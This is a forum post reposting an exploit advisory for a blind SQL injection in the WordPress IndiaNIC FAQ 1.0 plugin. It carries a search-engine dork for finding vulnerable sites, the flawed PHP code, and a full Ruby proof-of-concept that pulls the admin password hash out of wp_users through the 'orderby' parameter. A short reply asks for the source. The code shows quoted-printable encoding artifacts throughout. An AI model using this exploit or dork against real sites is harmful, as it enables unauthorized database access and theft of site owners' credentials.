Gonzalez Posted March 22, 2013 Report Share Posted March 22, 2013 # Exploit Title: WordPress IndiaNIC FAQ 1.0 Plugin Blind SQL Injection# Google Dork: inurl:wp-content/plugins/faqs-manager# Date: 21.03.2013# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)# Vendor Homepage: http://wordpress.org/extend/plugins/faqs-manager/# Software Link: http://downloads.wordpress.org/plugin/faqs-manager.zip# Version: 1.0# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patc=h (cli)############### Description:############### The "order" and "orderby" parameter is vulnerable for SQL Injection# Example URL: http://127.0.0.1:9001/wordpress/wp-admin/admin.php?page=3Din=ic_faq&orderby=3D<sqli># PoC take some time to finish (15min on my Testsystem).# I could speed it up with Multithreading but I'm to lazy right now#### Vulnerable code part (wp_list_table.php) #############################=##################################### function prepare_items() {# $this->_column_headers =3D array($this->_columns, $this->_hidden_columns=, $this->_sortable_columns);# $sort_order =3D isset($_GET['order']) ? $_GET['order'] : "ASC";# $orderby_column =3D isset($_GET['orderby']) ? " ORDER BY {$_GET['orderby=']} {$sort_order}" : false;## global $wpdb;# if (is_array($this->_sql)) {# if ($orderby_column =3D=3D false) {# $data =3D $this->_sql;# } else {# $data =3D $this->_sql;# usort($data, array(&$this, 'usort_reorder'));# }# } else {# $data =3D $wpdb->get_results("{$this->_sql}{$orderby_column}", ARRAY_A=);# }###########################################################################=########################################################################## Blind SQL Injection PoC #####################################require "net/http"require "uri"$target =3D "" # EDIT ME #$cookie =3D "" # EDIT ME # authenticated user session# Example:#$target =3D "http://127.0.0.1:9001/wordpress/"#$cookie =3D "wordpress_a6a5d84619ae3f833460b386c064b9e5=3Dadmin%7C13640405=45%7C86475c1a4fe1fc1fa5f1ebb04db1bc8f; wp-settings-1=3Deditor%3Dhtml; wp-se=ttings-time-1=3D1363441353; comment_author_a6a5d84619ae3f833460b386c064b9e5==3Dtony; comment_author_email_a6a5d84619ae3f833460b386c064b9e5=3Dtony%40bau=er.de; comment_author_url_a6a5d84619ae3f833460b386c064b9e5=3Dhttp%3A%2F%2Fs=ucker.de; wordpress_test_cookie=3DWP+Cookie+check; wordpress_logged_in_a6a5=d84619ae3f833460b386c064b9e5=3Dadmin%7C1364040545%7Cd7053b96adaa95745023b91=694bf30ef; PHPSESSID=3D1h7f2o5defu6oa8iti6mqnevc7; bp-activity-oldestpage==3D1"if $target.eql?("") or $cookie.eql?("") puts "\n[!]\tPlease set $target and $cookie variable\n" raiseend$chars =3D ["."] + ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a$hash =3D "$P$"$i =3D 0 # chars index$j =3D 4 # hash indexdef sqli_send() sqli =3D URI.escape("(CASE WHEN ((SELECT ASCII(SUBSTRING(user_pass, #{$=j}, 1)) FROM wp_users WHERE id =3D 1) =3D #{$chars[$i].ord}) THEN 1 ELSE 1*=(SELECT table_name FROM information_schema.tables)END) --") uri =3D URI.parse("#{$target}wp-admin/admin.php?page=3Dinic_faq&orderby==3D#{sqli}") http =3D Net::HTTP.new(uri.host, uri.port) #http.set_debug_output($stderr) request =3D Net::HTTP::Get.new(uri.request_uri) request["User-Agent"] =3D "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8;= rv:19.0) Gecko/20100101 Firefox/19.0" request["Cookie"] =3D $cookie resp =3D http.request(request) if( resp.code !=3D "200" ) puts "something is wrong response =3D #{resp.code}" raise end # In WordPress default settings there will no SQL error displayed # but when an error apperes we don't get any result. # The PoC search for "No record found" and suppose there was an error return resp.body().match(/No record found/)=20enddef print_status() output =3D "HASH: #{$hash} try #{$chars[$i]}" print "\b"*output.length + outputendwhile( $hash.length < 34 ) if( !sqli_send() ) $hash +=3D $chars[$i] $j +=3D 1 $i =3D 0 else $i +=3D 1 end print_status()endputs "\n[+]\thave a nice day \n" Quote Link to comment Share on other sites More sharing options...
dirtycash Posted March 22, 2013 Report Share Posted March 22, 2013 mai posteaza si sursa, 1337day.com Quote Link to comment Share on other sites More sharing options...